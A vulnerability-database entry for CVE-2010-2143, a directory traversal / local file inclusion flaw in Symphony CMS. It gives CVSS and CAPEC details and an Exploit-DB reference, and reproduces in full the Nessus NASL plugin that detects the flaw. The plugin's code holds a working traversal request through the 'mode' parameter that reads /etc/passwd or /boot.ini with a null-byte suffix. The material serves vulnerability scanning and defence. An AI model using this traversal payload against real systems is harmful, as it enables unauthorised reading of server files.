Vulnerabilities > CVE-2010-2143 - Path Traversal vulnerability in Getsymphony Symphony 2.0.7

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
getsymphony
CWE-22
nessus
exploit available

Summary

Directory traversal vulnerability in index.php in Symphony CMS 2.0.7 allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the mode parameter.

Vulnerable Configurations

Part Description Count
Application
Getsymphony
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Exploit-Db

descriptionSymphony CMS Local File Inclusion Vulnerability. CVE-2010-2143. Webapps exploit for php platform
fileexploits/php/webapps/12809.txt
idEDB-ID:12809
last seen2016-02-01
modified2010-05-30
platformphp
port
published2010-05-30
reporterAntiSecurity
sourcehttps://www.exploit-db.com/download/12809/
titleSymphony CMS Local File Inclusion Vulnerability
typewebapps

Nessus

NASL familyCGI abuses
NASL idSYMPHONY_CMS_MODE_LFI.NASL
descriptionThe Symphony install on the remote host fails to sanitize user- supplied input to the
last seen2020-06-01
modified2020-06-02
plugin id46819
published2010-06-07
reporterThis script is Copyright (C) 2010-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/46819
titleSymphony 2.0.6 mode Parameter Local File Inclusion
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(46819);
  script_version("1.13");
  script_cvs_date("Date: 2018/09/17 21:46:53");

  script_cve_id("CVE-2010-2143");
  script_bugtraq_id(40441);

  script_name(english:"Symphony 2.0.6 mode Parameter Local File Inclusion");
  script_summary(english:"Attempts to read a local file through the 'mode' parameter");

  script_set_attribute(
    attribute:"synopsis",value:
"The remote web server contains a PHP application that is susceptible
to a local file include attack.");
  script_set_attribute(
    attribute:"description",value:
"The Symphony install on the remote host fails to sanitize user-
supplied input to the 'mode' parameter in 'index.php' before using it
to include PHP code.

An unauthenticated attacker can exploit this vulnerability
to view arbitrary files or possibly to execute arbitrary PHP code on
the remote host, subject to the privileges of the web server user id.");
  script_set_attribute(attribute:"see_also", value:"http://www.getsymphony.com/discuss/thread/35715/");
  # https://github.com/symphonycms/symphony-2/commit/5ecd4c0e905a21faa9908dd40fe6b8efbc550fba
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?8a96b4c6");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Symphony 2.0.7 or later.

Note that some references indicate that version 2.0.7 is affected,
however Tenable researchers have confirmed that this vulnerability
only affects version 2.0.6.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");

  script_set_attribute(attribute:"vuln_publication_date", value:"2009/12/12");
  script_set_attribute(attribute:"patch_publication_date", value:"2009/12/29");
  script_set_attribute(attribute:"plugin_publication_date", value:"2010/06/07");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:symphony-cms:symphony_cms");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2010-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("symphony_cms_detect.nasl", "os_fingerprint.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP", "www/symphony");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80,php:TRUE);

install = get_install_from_kb(appname:'symphony', port:port,exit_on_fail:TRUE);

dir = install['dir'];

# Try to retrieve a local file.
os = get_kb_item("Host/OS");
if (os)
{
  if ("Windows" >< os) file = '/boot.ini';
  else file = '/etc/passwd';
  files = make_list(file);
}
else files = make_list('/etc/passwd', '/boot.ini');

file_pats = make_array();
file_pats['/etc/passwd'] = "root:.*:0:[01]:";
file_pats['/boot.ini'] = "\[boot loader\]";

file_found  = "";
exploit     = "";
contents    = "";

foreach file (files)
{
  traversal = crap(data:"../", length:3*12) + '..';

  url = dir
         + '/index.php?mode='
         + traversal
         + file
         + '%00';

  res = http_send_recv3(method:"GET",item:url,port:port,exit_on_fail:TRUE);

  if (egrep(pattern:file_pats[file], string:res[2]))
  {
    file_found = file;
    if (os && "Windows" >< os)
      file_found = str_replace(find:'/', replace:'\\', string:file);

    exploit = build_url(port:port, qs:url);

    anchor = '';
    # We only need anchor under Windows, in other cases we directly get the file
    if ("boot.ini" >< file)
    anchor = "[boot loader";

    contents = strstr(res[2], anchor);
    contents = contents - strstr(contents,'<br />');
    break;
  }
  # We could not exploit the issue either because magic_quotes_gpc was
  # set or open_basedir was in effect.
  else if (
    '/symphony/lib/core/class.'+traversal+file >< res[2] &&
    'failed to open stream:'   >< res[2]
  )
  {
    exploit = build_url(port:port, qs:url);
    break;
  }
}

# If we don't have an exploit exit...
if (!exploit) exit(0, "The Symphony install at " +  build_url(qs:dir+'/index.php', port:port) + " is not affected.");

if (report_verbosity > 0)
{
  if (contents)
  {
    report = '\n' +
      "Nessus was able to exploit the issue to retrieve the contents of" + '\n' +
      "'" + file_found + "' on the remote host by sending the following request." + '\n' +
      '\n' +
      "  " + exploit + '\n';

    if (report_verbosity > 1 )
    {
      contents = data_protection::redact_etc_passwd(output:contents);
      report = report + '\n' +
        "Here's the contents of the file : " + '\n\n' +
         crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
         contents + '\n' +
         crap(data:"-" , length:30) +  " snip " + crap(data:"-", length:30) + '\n' ;
    }
  }
  else
  {
    report = '\n' +
      'Nessus was not able to exploit the issue, but it was able to verify\n' +
      'the issue exists based on the error message from the following request :\n' +
      '\n' +
      crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n\n' +
      exploit + '\n\n' +
      crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n';
  }
  security_hole(port:port, extra:report);
}
else security_hole(port);